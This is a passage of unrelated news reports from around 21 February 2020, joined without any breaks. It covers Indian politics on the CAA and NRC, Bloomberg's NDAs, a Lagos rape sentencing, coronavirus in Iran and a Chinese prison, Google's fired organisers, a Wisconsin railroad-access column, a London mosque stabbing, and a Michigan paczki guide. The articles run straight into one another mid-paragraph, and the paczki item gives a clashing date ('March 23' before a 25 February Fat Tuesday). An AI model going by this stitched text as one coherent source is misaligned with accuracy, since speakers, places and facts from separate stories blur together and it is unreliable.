minorities of the neighbouring countries," he added. Regarding NRC, Thackeray referred to statements made by Modi amid sustained protests against the CAA, NRC, and NPR, when the prime minister had stated that there had been no talks of a nationwide NRC from the government. Modi, in a rally at Delhi's Ramlila Maidan on 22 December, had said, "I want to tell the 130 crore people of India that ever since my government came to power in 2014... from then until now... there has been no discussion on NRC anywhere. We only had to implement it in Assam to follow Supreme Court directives." Maharashtra Chief Minister Uddhav Thackeray: This law (CAA) is not to take away citizenship from anyone. However, this law is about giving citizenship to the minorities of the neighboring countries. https://t.co/XlQk8FbrAW ANI (@ANI) February 21, 2020 On Friday, addressing a press conference after his meeting with the prime minister, Thackeray added that the NPR "won't throw anyone out of the country". The NPR, a population exercise, is set to be completed in Maharashtra along with the Census between 1 May and 15 June, reports said. On Tuesday, Thackeray had said that the Maharashtra government "won't block" the NPR exercise and that he will "personally check the columns" in the forms. In a brief press conference after the meeting with Modi concluded on Friday evening, Uddhav also referred to the protests across the country since the CAA was passed by the Parliament on 12 December 2019, and said, "Those who are inciting protesters should read and understand the Act first." When asked about leaders from the Congress party speaking in support of anti-CAA protesters, Thackeray said that there was "no tension" between the alliance partners of the Maharashtra government. The Congress, along with the NCP, is a key alliance partner in the Maha Vikas Aghadi government headed by Uddhav. "There is no tension with alliance partners. We have finalised a common minimum programme (CMP) and we are working on the points agreed on. We have been talking to the Congress over the CAA, that is why there is peace in Maharashtra. There are no disagreements between the Congress and Shiv Sena," he said. Downplaying the reports that the Congress and the NCP are miffed over the chief minister's stand on NPR and CAA, Thackeray asserted that the Maharashtra government will complete its five-year term. In the context of Maharashtra, Thackeray told reporters that he had had a "good discussion" with Modi about issues concerning the state, including the Centre's crop insurance scheme among others. "In the meeting, we agreed to put aside the politics between the parties and work in cooperation for Maharashtra's development," he said. Friday's visit was Uddhav's first to the National Capital after taking over the reins of the state in the Assembly election held in October last year. The chief minister's son Aditya Thackeray, who is a minister in his Cabinet, also accompanied him. The Shiv Sena chief was reportedly headed to meet Congress president Sonia Gandhi after his meeting with the prime minister. He is also expected to meet veteran BJP leader LK Advani and Home Minister Amit Shah tonight. The BJP and the Shiv Sena had a bitter fallout post the Assembly election in Maharashtra last year over the chief minister's post. The Sena later aligned with arch-rivals Congress and the NCP to form the Maha Vikas Aghadi government. Mike Bloomberg, the former New York City mayor and businessman pilloried by Sen. Elizabeth Warren this week for allegedly harassing women and silencing them with settlements, offered to release three women who had filed complaints from nondisclosure agreements on Friday. The late entry to the presidential race said his financial services company, Bloomberg LP, identified three nondisclosure agreements signed over the past 30-plus years with women to address complaints about comments they said I had made. Warren fiercely pressured Bloomberg during a Wednesday night debate, his first throughout the Democratic presidential primary, describing him as an arrogant billionaire whos referred to women as fat broads and horse-faced lesbians. She challenged him on the spot to release former employees from nondisclosure agreements, and repeated the challenge in a town hall event and on Twitter on Thursday, taunting Bloomberg with a suggested legal document that would effectively let women share their stories publicly without fear of recourse. Bloomberg tweeted Friday that if any of the women want to be released from their nondisclosure agreements, they should contact the company and theyll be given a release. Bloomberg LP has identified 3 NDAs signed over the past 30+ years with women to address complaints about comments they said I had made. If any of them want to be released from their NDAs, they should contact the company and they'll be given a release. https://t.co/bO9JpvSx1T Mike Bloomberg (@MikeBloomberg) February 21, 2020 Bloomberg on Wednesday said the agreements were consensual and that the only complaints against him were from employees who perhaps didnt like a joke I told. Bloomberg also said his company would not tolerate any of the kind of activity exposed by the #MeToo movement. In a statement Friday, he went further and said his firm would bar nondisclosure agreements in such instances. Compared to President Donald Trump, he insisted, he would be a leader whom women can trust. Ive done a lot of reflecting on this issue over the past few days and Ive decided that for as long as Im running the company, we wont offer confidentiality agreements to resolve claims of sexual harassment or misconduct going forward, he said. I recognize that NDAs, particularly when they are used in the context of sexual harassment and sexual assault, promote a culture of silence in the workplace and contribute to a culture of women not feeling safe or supported. It is imperative that when problems occur, workplaces not only address the specific incidents, but the culture and practices that led to those incidents. And then leaders must act. The Nagaland Lokayukta has ordered a preliminary inquiry to be conducted by the chief minister into allegations that Deputy Chief Minister Y Patton was involved in the appointment of over 1,100 constables in the police department in violation of norms. Chief Minister Neiphiu Rio has been asked to submit his report in the form of an affidavit before the next date of hearing. The order was signed by the Lokayukta of Nagaland Justice Uma Nath Singh on Thursday while taking cognizance of a complaint filed by Vicca S Aye. Aye had lodged the complaint against Patton, who is in-charge of the home department, on Wednesday. The Lokayukta in the order directed the Coordinating Officer/Inspector under Nagaland Lokayukta Police Establishment to register a case of preliminary inquiry to be conducted by a higher authority, that is the chief minister. In his complaint, Aye had accused Patton of offering candidates, who had qualified the written examination of the Nagaland Public Service Commission (NPSC), to approach him for help at the interview stage. The complainant also alleged that Patton was involved in "rampant abuse of administrative discretion and favouritism and interfered in the normal administrative functioning of the police department". Aye alleged that Patton had made 1,135 appointments in the police department without the posts being advertised for. Patton was the Home Minister of Nagaland in the Naga Peoples Front (NPF) regime from 2013-18. He quit the NPF just before the 2018 assembly elections and joined the BJP, which contested the state polls in alliance with the Nationalist Democratic Progressive Party (NDPP). He was appointed as the deputy chief minister in March 2018 and continues to hold the charge of the home department, beside other departments. The Lokayukta directed Patton to file his reply in the form of an affidavit. It also directed the Nagaland Police, in particular the Commissioner of Police in Dimapur, to ensure the protection of the complainant "who comes in the category of whistle blower", failing which, necessary legal consequences would follow. On the deputy chief minister's statement in the just concluded Budget Session of the Assembly that the recruitments were made by respective District Superintendents of Police (SPs) and commandants of police battalions, Aye said he has also filed an RTI on Tuesday, seeking proper information on the matter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An Ikeja High Court on Thursday sentenced a former part-time lecturer in the University of Lagos, Akin Baruwa, to 21 years imprisonment for raping an 18-year-old admission seeker. The News Agency of Nigeria (NAN) reports that the judge, Josephine Oyefeso, while sentencing 45-year-old Baruwa, described his actions as heinous. Mrs Oyefeso held that the sentence should serve as a deterrent to others. The offence committed against this young lady was a violation of her chastity which would have left huge emotional scars from which I pray and hope she will recover. I cannot begin to imagine the physical and mental trauma she has had to endure from the man who she considered her fathers friend, a community leader who should have known better. This is a shame! This is a crime that not only offends the survivor, it offends her family, it offends the society at large, it also offends God. More painful here is that the convict gave the family the impression that he was a lecturer at Unilag but his services were only needed on an ad-hoc basis by the university, the judge said. She said the convict gave the impression that he could assist in giving his victim university admission where as he could not. He used the vulnerability of this young girl to his selfish advantage. The young lady said that the encounter lasted for two to five minutes, the convict said 10 to 15 minutes. Was it worth it at the end of the day? In line with Section 258 of the Criminal Law of Lagos, 2011, Baruwa Afeez Akin is hereby sentenced to 21 years imprisonment, she held. Earlier, Mrs Oyefeso said the prosecution proved its case beyond reasonable doubt and that the medical evidence was consistent with the testimony of the victim. It is interesting to note that all the graphic details he gave in court in his testimony were not contained in his statement at the Surulere Police Station. The difference between his statement and his evidence are like night and day. DW1 (Baruwa) has a fertile imagination and is not afraid to use it. The evidence before me overwhelmingly shows that the sexual intercourse between PW3 (complainant) and DW1 was not consensual; I so hold. The court is satisfied that the prosecution has been able to prove its case beyond reasonable doubt. I find you Baruwa Afeez Akin guilty of a one-count charge of rape contrary to Section 258(1) of the Criminal Law of Lagos, 2011, and I hereby convict you accordingly, she said Before the sentence was passed, defence counsel, H. I. Omotoba, in his allocutus (plea for mercy), prayed the court to temper justice with mercy and impose a light sentence on Mr Baruwa. The convict is broken and highly remorseful of his act. The convict is a married man with children aged 12, 10, four and two, respectively. The convict also has aged parents to cater for. My lord, the convict is also a first-time offender. We urge this court to temper justice with mercy and impose a lesser punishment on the convict, Mr Omotoba said. In his response, the Lagos State Director of Public Prosecutions (DPP), Yhaqub Oshoala, expressed gratitude to the court. Mr Oshoala asked the court to impose a stiff sentence on Baruwa to serve as a deterrent to lecturers who prey sexually on students. He added that Mr Baruwa was not remorseful during his trial. Advertisements I have never observed such a display of un-remorsefulness in a defendant to the extent that he was calling the complainant jeun tan (a bad nickname), making it seem normal for a married person to use such an expression. Neither the state nor the society will condone such bad conduct. There are many students out there who are weak and have nobody to protect them, the DPP said. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Tehran, Iran Fri, February 21, 2020 11:34 691 7f440ff09e92db75a02bbad2065c548f 2 World Iran,coronavirus,Wuhan-coronavirus,outbreak,spreading,Middle-East Free Iran has confirmed three new coronavirus cases following the deaths of two elderly men, the health ministry told AFP on Thursday, as Iraq banned travel to and from its neighbor. The pair who died were elderly Iranian citizens and residents of the city of Qom. They were the first confirmed deaths from the COVID-19 virus in the Middle East. Health ministry spokesman Kianush Jahanpour said two of the new cases were also in Qom and the other was in Arak, south of the holy city. "In total there were five cases... of which two have been fatal," he said. Qom is a center for Islamic studies and tourists, attracting scholars from Iran and beyond. However, a government official said the deceased men had not left Iran. Following the announcement of the deaths, Iraq on Thursday clamped down on travel to and from the Islamic republic, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice". "Iranians are prohibited from entering [Iraq]," a senior official told AFP, adding that border crossings with Iran had been closed, with only returning Iraqis allowed to pass through. Those Iraqis would be examined and, if necessary, placed in quarantine for 14 days, the health ministry said. Iraqi nationals are also not allowed to travel to Iran, according to the ministry. The border closure followed a backlash against a Wednesday announcement of visa waivers for Iranian nationals wishing to travel to Iraq. Iraqis took to social media using the hashtag "close the border" and local officials called for a ban on the entry of goods and people through various border crossings with the Islamic republic. Iraqi airports are already screening travellers for the virus and national carrier Iraqi Airways has suspended flights to Iran. Each year, millions of Iranian pilgrims visit holy Shiite sites in Iraq, providing the Iraqi state with significant revenue. Earlier Thursday, Iran's government spokesman Ali Rabiei said Tehran would set up a top-level body of government and defense officials to fight the virus' spread, according to state news agency IRNA. "We, however, need global action (by authorities) and the cooperation of all citizens," Rabiei said on Twitter. In Kuwait, national carrier Kuwait Airways announced Thursday it would suspend all flights to Iran, while its ports will also be closed to passengers travelling to and from the country. Kuwaitis were advised not to travel to Qom, and were warned anyone arriving from the city they would be quarantined. 'Hid the truth' The deaths in Iran were reported by local media on Wednesday, just hours after Tehran said there were two cases in the country. On social media, several people accused the government of keeping silent to prevent panic ahead of Friday's parliamentary elections. "Just four hours separated the announcement that two compatriots were infected... and their deaths," journalist Javad Heydarian tweeted. "This signifies that the virus had been around for some days but they hid the truth." Public confidence in government pronouncements has plummeted since the downing of a Ukrainian passenger plane on January 8 that killed 176 people. The government initially denied responsibility, but later admitted the plane had been fired on due to "human error" and blamed a jittery missile operator. The culture ministry has asked local media to only publish official information from government officials and denounced what it claimed was a proliferation of fake news on social media regarding the virus. Since December, the novel coronavirus has killed more than 2,200 people in China, the epicenter of the epidemic. Elsewhere in the world, the virus has killed 11 people and spread across some 25 countries. The four Google employees who were fired over Thanksgiving week after organizing staff protests over working conditions and the company's contracts with U.S. Customs and Border Protection have spoken out in their first interviews since being sacked. Laurence Berland, Paul Duke, Rebecca Rivers and Sophie Waldman were all fired from Google on Monday, November 25. Now they are speaking out in new interviews with New York Times Magazine, describing the controversial firings that resulted in them quickly being described on social media as the 'Thanksgiving Four.' All four were involved in organizing protests over employee working conditions or the CBP contracts but Google insists that they were terminated for violating employee policies, including inappropriately accessing internal company documents. The firings came amid increasing employee upheaval at Google, where in recent years staffers have created uproar over sexual harassment policies, government contracts, and other hot-button issues. Left to right: Rebecca Rivers, Sophie Waldman and Laurence Berland are three of the four Google employees who were fired on November 25 Google employees are seen at a November 2018 walkout to protest the company's handling of sexual harassment complaints. Google's work force has been increasingly roiled by political protests and complaints about contracts with the Trump administration Though it has long been considered one of the cushiest, most free-wheeling workplaces, Google bosses have been forced to crack down as employee discontent and political disputes in the workplace increasingly threatened to disrupt business. Google did not immediately respond to a request for comment from DailyMail.com. The saga of the 'Thanksgiving Four' began last summer, when Google employees demanded in a petition that the company not participate in the bidding process for a CBP contract for IT infrastructure. Employees were emboldened by a string of protests in 2018, including a mass walkout over the company's handling of sexual harassment claims, and a revolt that shut down Google's participation in the Pentagon's Project Maven, which used AI to improve drone targeting systems. Rivers, in the new interview, says that the petition against the CBP bid made her wonder if Google was already working with the agency. Rivers used internal search tools that turned up evidence of three contracts with the agency that had been sold through third-party vendors. One of the deals with CPB, a Google Maps contract for about $600,000, was crushing to Rivers, who had personally built several features for the Maps project. Rivers said that she had imagined her Maps tools being used for humanitarian work and good deeds. 'The worst I thought it could be used for was making rich people more rich,' Rivers said, describing what she thought until she discovered the CBP contracts, which were far more upsetting to her, even than helping the rich. The discovery that CBP was potentially using her software for immigration enforcement was 'gut-wrenching', said Rivers. 'It was the software I wrote that I was most proud of.' Google's contracts with CBP were the reason Rivers decided to organize protests. She was upset about the contracts. Rivers said she passed the information she had gathered about the CBP contracts to co-worker Waldman, who combined it with information and disseminated it to other colleagues. Rebecca Rivers (left and right) found information about three contracts Google had with CBP through third-party vendors and disseminated the info to colleagues 'If workers aren't told what the real purpose of their work is, they have no agency in deciding whether or not they want to help with those things,' Berland said. 'They become unwittingly complicit.' Berland and Duke also became involved in organizing over the working conditions and the treatment of employees, and used internal tools to gather information to support their cause. 'In my orientation, I was encouraged to read all the design documents I could find, look at anything about how decisions are made,' said Duke. 'Now they're saying that's no longer OK. That is a major shift in culture.' Berland subscribed to the open calendars of several executives that he suspected were meeting with a union-busting consultancy. In November, Rivers and Berland were abruptly put on administrative leave. Rivers says that one day her security badge didn't work. 'I called the badging office, and they didn't know; they reactivated me,' Rivers told NYT Magazine. 'It was a very rushed turn of events.' Google site reliability engineer Laurence Berland addresses fellow employees at a rally in San Francisco on November 22, three days before he was fired from the company Rebecca Rivers (left) and Laurence Berland (right) are seen at the November 22 protest The Friday before he was fired, Berland had spoken at a rally of his co-workers outside Google's San Francisco offices, accusing the company of silencing dissent. The following Monday, Berland was getting off the subway in New York when he was fired by an email: 'Following a thorough investigation, the company has found that you committed several acts in violation of Google's policies.' 'I thought they'd do it when all the media attention died down,' Berland said. 'When the suspensions and the rally were no longer on people's minds.' Rivers, a software engineer based in Boulder, Colorado, was dismissed over the phone after accessing internal documents. Rivers had recently come out as transgender and was pursuing a medical transition. 'I came out at Google expecting to stay at Google through the entire transition,' Rivers said. 'It's terrifying to think about going to a job interview, because I'm so scared of how other companies treat trans employees.' Waldman, a software developer in Cambridge, Massachusetts, said she was given a 15-minute notice of a surprise meeting, and was fired on the spot when she arrived. Though it has long been considered one of the cushiest, most free-wheeling workplaces, Google bosses have been forced to crack down amid employee discontent Duke, an engineer in New York, said a meeting invitation appeared on his calendar precisely one minute beforehand. In an internal memo that leaked to the press, the company said the workers were involved in 'systematic' searches for material 'outside the scope of their jobs.' It also cited an employee's efforts to track information on the calendars of colleagues 'outside of their work group.' 'We dismissed four individuals who were engaged in intentional and often repeated violations of our longstanding data-security policies,' a spokeswoman told NYT Magazine. 'No one has been dismissed for raising concerns or debating the company's activities.' The fired employees vow that their former colleagues at Google will continue fighting to improving working conditions, and to protest business lines that they view as immoral. 'Management can decide whether or not to get on board,' Berland told the magazine. 'But Google workers are increasingly aware of the power they have. They're going to continue to exercise that power, and in the end, they're going to prevail.' Photo: Paul Wasneski/Flickr Missed the most recent top news in Sacramento? Read on for everything you need to know. Goodbye, flying shrimp: Only Sacramento-area Benihana set to close its doors on Sunday This weekend will be your last chance to see steam rise out of an onion volcano at Benihana in Citrus Heights. Read the full story on CBS13 CBS Sacramento. 2 local men accused of giving alcohol to underage coworker, resulting in her death Two local men were arrested Wednesday after investigators say they gave alcohol to a minor at a work party, which led to a deadly crash. Read the full story on FOX40. New law would allow Sacramento to clear homeless camps from levees, some downtown streets Sacramento may soon begin clearing homeless camps from sections of riverfront levees, several downtown streets and outside public facilities in what top city officials describe as an effort to protect critical infrastructure and prevent wildfires and catastrophic floods. Read the full story on The Sacramento Bee. Former Sacramento County deputies accused of elder abuse in lawsuit A new lawsuit claims two former Sacramento County sheriffs deputies took advantage of an elderly woman with dementia. Read the full story on KCRA 3. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Source: Xinhua| 2020-02-21 14:19:25|Editor: huaxia Video Player Close JINAN, Feb. 21 (Xinhua) -- A total of 207 infection cases of the novel coronavirus, or COVID-19, have been confirmed in an eastern China prison, according to a press conference held by the Shandong provincial government Friday. The local authorities have completed nucleic acid tests of all relevant personnel in the Rencheng Prison in the city of Jining, reporting 207 confirmed cases. Currently, effective isolation and treatment measures have been taken for all confirmed patients. On Feb. 12, a prison officer was isolated in a hospital exhibiting symptoms such as coughing. He was diagnosed with novel coronavirus pneumonia after nucleic acid testing the next day. The provincial government immediately put the prison under closed management and started health screenings and isolation work. The Commission for Political and Legal Affairs of the Central Committee of the Communist Party of China (CPC) and the Ministry of Justice attach great importance to the epidemic infection in the Rencheng Prison, giving specific instructions and sending personnel to guide the epidemic control work. All people in close contact with the infected patients have been put under quarantine. The provincial government has organized to send experts from the whole province to assist medics in Jining to formulate personalized medical treatment plans for each patient. Temporary hospitals are under construction, and medical equipment such as breathing machines and CT scanners and materials such as masks and protective clothing have been diverted from the whole province to Jining to address the need for treatment. The provincial government has sent inspection teams to all prisons, detention centers and drug rehabilitation centers in the province to oversee epidemic prevention and control. Eight officials have been removed from posts for the ineffective prevention and control of the epidemic situation in the prison, including Xie Weijun, secretary of the Party committee of the provincial department of justice, who is also the Party secretary of the Provincial Prison Administration, and Liu Baoshan, director of the Rencheng Prison. Career & Technical Education CTE Studies Boost High School Grad Rates in Oregon Oregon's statewide four-year high school graduation rate was the highest it's ever been. For the class of 2018-2019, graduation hit 80 percent, up more than a percentage point over the previous year. However, those students who took a career and technical education course or enrolled in a CTE program did even better (88.9 percent and 93.5 percent, respectively). The five-year cohort graduation rate for CTE students was slightly higher: 90.4 percent and 94.4 percent. The four-year cohort consisted of data on students who first entered high school in 2015-2016. The total number of students in the state was 46,162. The number of CTE "participants" was 31,832; and 19,458 students "concentrated" on CTE. Both groupings have inched over the last four years, the length of time graduate rates have been tracked for CTE-specific cohorts. CTE received a burst of support from state lawmakers when it committed funding to the development and expansion of CTE programs across the state through a CTE "revitalization grant" program. Funding allocations were based on how many students enrolled in specific programs during the previous school year and earned three or more credits. Programs received extra funding where students have been historically under-served or where they've earned professional credentials recognized by the industry in which they're educated. A new funding schedule began in October 2019. For both rounds, the activities covered by the grants need to have ties to local or regional industry; map to a "high-wage/high-demand career area"; and involve a path "to career and/or postsecondary education and training." "Every student in Oregon deserves to graduate prepared for lifelong success and with a plan for their future," said Governor Kate Brown, in a statement. "Working together over the last five years, through a commitment to closing opportunity gaps for students in all our communities, we have made steady progress increasing the number of Oregon students completing high school. With the historic reinvestment in education made possible by the Student Success Act, our schools will be further empowered to engage and support Oregon's students in reaching new levels of learning and achievement." Luxembourg's foreign ministry communicated that two people were brought home on Friday from the Chinese city of Wuhan. The pair landed in Paris and was driven to Luxembourg by the Grand Ducal Fire and Rescue Corps, where they are placed in quarantine at the CHL for the next two weeks. A previous test to check whether they were infected with the virus was negative. As we make our pretty much weekly trips up and down Hwy. 35 this winter, Ellen and I always keep a sharp eye out as to where the fishermen are. Lately, some are below the dams at Genoa and Lynxville, but most are recreating by angling through the ice in bays and sloughs. The dark side of this is that many of those ice fishermen broke the law; they trespassed to get to the water by crossing railroad property and tracks. I often get asked what ever happened to the River Rats for River Access. Well, RRRA is still out there. The law has not been changed. That said, recent happenings might result in changes. I got the following chronological history relating to the right of the public to step across the railroad right of way in Wisconsin from from Marc Schultz, of the Wisconsin Conservation Congress Mississippi River committee. -Since 2006 when a provision in the state budget repealed 192.32 SS, members of the public have been denied the right to safely step across railroad right of way. A right that had been safely exercised by hunters, trappers, anglers and others in pursuit of outdoor recreation on public land and water for well over a century. -In 2014 a provision in the state budget that would have restored this right was vetoed by then Governor Walker. -In 2015 along the Mississippi River in Wisconsin, Iowa and Minnesota a concerted effort was made by railroad police to post trespass warnings and confront members of the public attempting to gain access to public land and water by crossing railroad right of way. In communities along the river, great concern was expressed by citizens to local and state elected officials about this loss of public access. That effort by the railroad continues today. -Mississippi River users and community leaders began organizing in the spring 2015 with letters to legislators and media, as well as meetings with state and federal legislators. Work began on drafting a petition to Wisconsin legislators and the governor to restore this public right. Specific efforts were made to inform the public who used and valued the river about this loss of public access rights -Wisconsin State Legislators, in 2016, proposed legislation to again restore the public right to step across railroad right of way. AB 879 received approval by the Assembly. A companion bill SB 734 was referred to the Senate Judiciary and Public Safety Committee but failed to be given a hearing. -River legislators held well-attended meetings in 2016 in river communities and received near unanimous support from the public to restore the right of the public to step across railroad right of way. People from local government, tourism, business, conservation, recreation, adjacent landowners and others attended the several meetings held in river communities. Several letters to the editor were published in local newspapers supporting the right of the public to step across railroad right of way. A letter from Congressman Kind from Wisconsin and Walz from Minnesota was sent to the BNSF railroad expressing serious concern with the loss of public access to the river because of railroad right of way restrictions. -The April 11, 2016 WWC/DNR spring hearings had citizen resolutions introduced in eight counties to restore the right of the public to step across railroad right of way. They were approved in all eight counties by a vote of 473 yes 26 no. At the May 2016 WCC annual meeting in Manitowoc the resolution was advanced to the floor of the convention and passed unanimously. This loss of public access impacts the entire length of the Mississippi River in Wisconsin while statewide 121 DNR properties have reduced public access. Statewide public access to streams and lakes directly adjacent to railroad right of way is reduced or prevented. -In the fall of 2016, several conservation organizations (Wisconsin Conservation Congress, Wisconsin Wildlife Federation, Safari Club International and La Crosse County Conservation Alliance) distributed a petition statewide for the public to sign. The petition was to the Wisconsin Legislature and governor to restore the public right to step across railroad right of way. In February of 2017, these conservation organizations presented signed petitions with 5,000 signatures to legislative leaders and the governor. -On Dec. 14, 2016, George Meyer of the Wisconsin Wildlife Federation and Marc Schultz of the La Crosse Conservation Alliance testified before the Natural Resource Board regarding the extensive statewide impact of the loss of the right of the public to step across railroad right of way. Statewide there are 121 DNR properties bisected by railroad right of way. Throughout the state where railroad right of way runs adjacent to public waterways or other public land access is negatively impacted. Along the Mississippi River, 134 traditional recreational sites are now not accessible without the public right to step across railroad right of way. Some in the government have put forth the idea of establishing dedicated crossings as a solution to this loss of access. Dedicated crossings are expensive, difficult to site and impractical in resolving the broad statewide need for adequate access to public lands and waters created when 192.32 SS was repealed in 2006. -In 2019 there is again a concerted effort by a number of conservation groups to bring the issue of public access across railroad right of way to the attention of the governor and legislators. Some legislators have shown an interest in bringing up this legislative issue. It will take widespread and strong public support actively communicated by people to state elected officials to bring about action on this issue. I understand that Gov. Evers said he would sign a repeal of the railroad trespassing law should it get to his desk. Well folks, heres your cue. The vast majority of fatalities along railroad tracks happen at designated, flashing lights and bells crossings and most often drunks and/or suicides are the victims, not fishermen. Write your state legislators and please express your support for repealing the railroad trespass law to allow people who want to be able to reach obstructed resources by crossing directly over and back without fear of breaking a law. Until next time, get out as far as changing the railroad trespassing law I think we may be nearing a tipping point where a little civil disobedience mass action may be in order, but not until it warms up. Enjoy. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Muslim prayer leader Raafat Maglad arrives at the London Central Mosque. (PA Images) A Muslim prayer leader has returned to the mosque he was stabbed at just hours after being attacked. Raafat Maglad, who is in his 70s, a muezzin who makes the call to prayer, was attacked inside London Central Mosque in Regents Park on Thursday afternoon. He was taken to hospital and seen with dressing to a wound on the right of his neck, but today has been pictured outside his home smiling, with his right arm in a sling. He went to the mosque, accompanied by security, just after 12.30pm. A man is led away by police after another man was stabbed at a mosque in London. (SWNS) Maglad returned to the mosque today after being injured yesterday. (PA Images) He had told the Evening Standard he felt lucky and felt he had been hit with a brick in the attack, which happened while he was praying. Maglad added: This attack wont change my behaviour. Nothing will stop me praying, and I will be back calling prayers as soon as I can. He told reporters on Friday: He hit me. I just felt blood flowing from my neck and thats it, they rushed me to the hospital. Everything happened all of a sudden. Asked if he knew the attacker he said: This (mosque) is multinational, you dont know who is walking in and out. I forgive him. I feel very sorry for him, he said. He added that as a Muslim he does not hold any hatred in his heart. What is done is done, he is not going to return, he said, adding it was important to attend Friday prayers as a Muslim. Witnesses described how Maglad was stabbed at about 3pm yesterday. The Met is not treating in incident as terror-related and a 29-year-old man was arrested on suspicion of attempted murder at the mosque after worshippers tackled him. The attack followed a string of attacks on religious sites around the world. Ayaz Ahmad, adviser to the mosque, said: Everybodys reaction was shock and horror, the men were screaming. Police outside the London Central Mosque, near Regent's Park. (PA Images) It was a vicious attack. We live in a society where we hear a lot about knife crime and what have you, but actually to physically be in a situation where youre first-hand watching an attempted murder take place, its very shocking. Shaukat Warraich, chief executive of non-theological group Faith Associates, said: Regents Park is the most iconic mosque in London because of its size and location, but it is probably also the most secure in terms of what they have and resources and manpower. Story continues But generally mosques are soft targets. Most dont have any security apart from some CCTV. Mayor of London Sadiq Khan meets mosque Director General Dr Ahmad Al-Dubayan (left) at the London Central Mosque. (PA Images) What we are seeing now is definitely a change in behaviour women have stopped going and some children too, they have been advised by the menfolk not to come to prayer in the evenings and to worship at home instead, because there are concerns about being attacked at prayer or on the way to the mosques. People are looking over their shoulders, 100%. (Newser) Former GOP congressman Dana Rohrabacher tells Yahoo News in a new interview that, yes, he did talk to Julian Assange about getting the WikiLeaks founder a presidential pardon if Assange said that Russia was not responsible for the DNC email leak. However, he says he never actually spoke to President Trump about that offer. "I spoke to Julian Assange and told him if he would provide evidence about who gave WikiLeaks the emails I would petition the president to give him a pardon. He knew I could get to the president," Rohrabacher said. The ex-congressman says he then spoke to White House Chief of Staff John Kelly about the plan, but never heard back from Kelly and never spoke directly to Trump on the matter. story continues below None of this means, as Slate points out, that Trump had anything to do with Rohrabacher's offer, as Assange's lawyer claims, and in a statement issued Thursday and obtained by CNN, Rohrabacher says he was on "my own fact finding mission" when he visited Assange at the Ecuadorian Embassy in 2017. "At no time did I offer a deal made by the President, nor did I say I was representing the President," Rohrabacher says. "Chronology matters," WikiLeaks had tweeted Wednesday after Assange's lawyer initially made the claim. "The meeting and the offer were made ten months after Julian Assange had already independently stated Russia was not the source of the DNC publication. The witness statement is one of the many bombshells from the defence to come." Meanwhile, the AP reports that as Assange's extradition hearing looms next week, his defense team says he will apply for asylum in France. (Read more Julian Assange stories.) A 29-year-old man was arrested for allegedly supplying liquor illegally in south Delhi, police said on Friday. Raju, a resident of Gautampuri in Badarpur here, was apprehended by a police team on Thursday morning, they said. He used to procure liquor at a cheap rate from godowns in Hrayana's Faridabad and used to supply them to bootleggers in south Delhi, Deputy Commissioner of Police (DCP), South East, R P Meena said. Police said he was previously involved in six cases of the Delhi Excise Act. "On Thursday, police got a tip-off and laid a trap near Gautampuri, Badarpur. Around 6:30 am, police nabbed the accused person while he was coming from the Faridabad side in a car," the DCP said. The car and 40 cartons of liquor were seized, police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) SAGINAW, MI Fat Tuesday is Feb. 25 and that means bakeries in mid-Michigan and across the state are making thousands and thousands of paczki. These Polish creations are a Fat Tuesday tradition and Bay Citys Krzysiaks House alone will make 8,000 to 10,000 of them between Sunday, March 23, and paczki day. That is one crazy day, said Jeanne Preston, who handles catering, sales and marketing for Bay Citys iconic Polish restaurant. Krzysiaks opens at 5 a.m. on Fat Tuesday for its annual Paczki Palooza Party, a fundraiser for the local Salvation Army, featuring breakfast specials, live polka music and, of course, plenty of paczki. Whether youre favorite flavor is lemon, strawberry, raspberry, blueberry, apple, cherry, prune, chocolate or Bavarian cream, heres a list of places you can get your paczki this Fat Tuesday in mid-Michigan: Butter Crust Bakery, 6181 Dixie Highway in Bridgeport, is selling paczki on Monday, Tuesday and Wednesday, Feb. 24-26. The bakery is normally closed on Mondays, but will be open from about 10 a.m. to 5:30 p.m. the Monday before Fat Tuesday and will open at 6 a.m. on Tuesday and Wednesday. Butter Crust Bakery will offer paczki in a variety of flavors, including apple, blueberry, cherry, chocolate cream, cream cheese, cream-filled, custard, lemon, pineapple, prune, raisin, raspberry and strawberry for $1.50 each or $18 a dozen. Hamilton Street Bakery, 1030 Gratiot Ave. in Saginaw, has been making and selling paczki since early February. The bakery will open at 2 a.m. on Fat Tuesday and remain open until about 4:45 p.m., offering custard, lemon, raspberry, blueberry, prune and plain paczki for 90 cents each or $10.80 a dozen. A variety of paczki are ready for customers at Butter Crust Bakery, 6181 Dixie Highway in Bridgeport Township, on Monday, Feb. 27, 2017. Bakery owner Greg Sochocki said he, his staff and volunteers will make more than 800 dozen Paczki from scratch for Fat Tuesday, Feb. 28, 2017.Jeff Schrier | MLive.com file Patisserie, 2715 Bay Road in Saginaw, is only selling paczki on Fat Tuesday. Place an advance order by Saturday, Feb. 22, or stop in between 7 a.m. and 5 p.m. Tuesday to get yours. Theyll offer baked, not fried, custard, lemon, chocolate and raspberry paczki for $1.95 each, six for $10 or a dozen for $18. Krzysiaks House Restaurant, 1605 Michigan Ave. in Bay City, is hosting its annual Paczki Palooza Party beginning at 5 a.m. on Fat Tuesday to raise funds for the local Salvation Army. Krzysiaks has been taking paczki orders for about a month already. Barneys Bakery, located at 412 S. Van Buren in Bay City, is already making and selling paczki. The bakery is open from 5 a.m. to 5:30 p.m. on Fat Tuesday. Barneys offers raspberry, strawberry, blueberry, custard, lemon, cherry and apple paczki for $1.25 each or $14 a dozen. Vienna Pastry & Bakery, 205 Columbus Ave. in Bay City, will offer paczki Monday and Tuesday from 6 a.m. to 5 p.m. for $1 each or $11 a dozen. Tom Quinn, business owner and a baker for 40 years, said hell have apple, blueberry, cherry, custard, lemon, raspberry, strawberry, plain, plain raisin, and plain glazed raisin available in his shop. He expects to sell 100 dozen on Monday alone. Rosies Pies & Bakery, located at 114 S. Huron Road in Kawkawlin Township, starts selling paczki on Monday. The bakery is to be open from about 9 a.m. to 4 p.m. both Monday and Tuesday. Freshly filled fruit paczki are ready at Butter Crust Bakery, 6181 Dixie Highway in Bridgeport on Fat Tuesday, Feb. 17, 2015.Jeff Schrier | MLive.com file Cops & Donuts, with headquarters in Clare and locations throughout the state, is selling paczki beginning at 5 a.m. on Fat Tuesday for 